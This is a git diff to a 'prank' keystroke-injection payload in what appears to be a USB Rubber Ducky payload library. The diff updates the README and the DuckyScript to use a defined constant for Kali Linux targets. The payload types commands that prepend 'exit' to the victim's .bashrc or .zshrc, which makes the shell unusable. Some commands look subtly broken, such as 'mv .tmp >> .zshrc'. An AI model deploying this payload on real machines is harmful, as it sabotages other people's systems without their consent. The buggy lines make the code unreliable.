diff --git a/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/README.md b/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/README.md index d855d69..0cdf12e 100644 --- a/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/README.md +++ b/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/README.md @@ -16,7 +16,7 @@ The described payload aims to modify the configuration file of the default shell However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`. -To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `$ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX`, which should be set to `1`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems. +To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `#ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX`, which should be set to `TRUE`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems. To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`. diff --git a/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/payload.txt b/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/payload.txt index 12c2e96..2a3d61e 100644 --- a/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/payload.txt +++ b/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/payload.txt @@ -14,7 +14,7 @@ REM - Nothing <3 REM With Kali Linux 2020.4, the new default shell is now ZSH for users who install the distribution. -VAR $ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX = 0 +DEFINE #ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX TRUE EXTENSION DETECT_READY @@ -52,15 +52,15 @@ DELAY 2000 STRINGLN echo "exit" > .tmp DELAY 500 -IF ($ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX == 1) THEN +IF_DEFINED_TRUE #ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX STRINGLN cat .zshrc >> .tmp DELAY 500 STRINGLN mv .tmp >> .zshrc -ELSE +ELSE_DEFINED STRINGLN cat .bashrc >> .tmp DELAY 500 STRINGLN mv .tmp >> .bashrc -END_IF +END_IF_DEFINED DELAY 500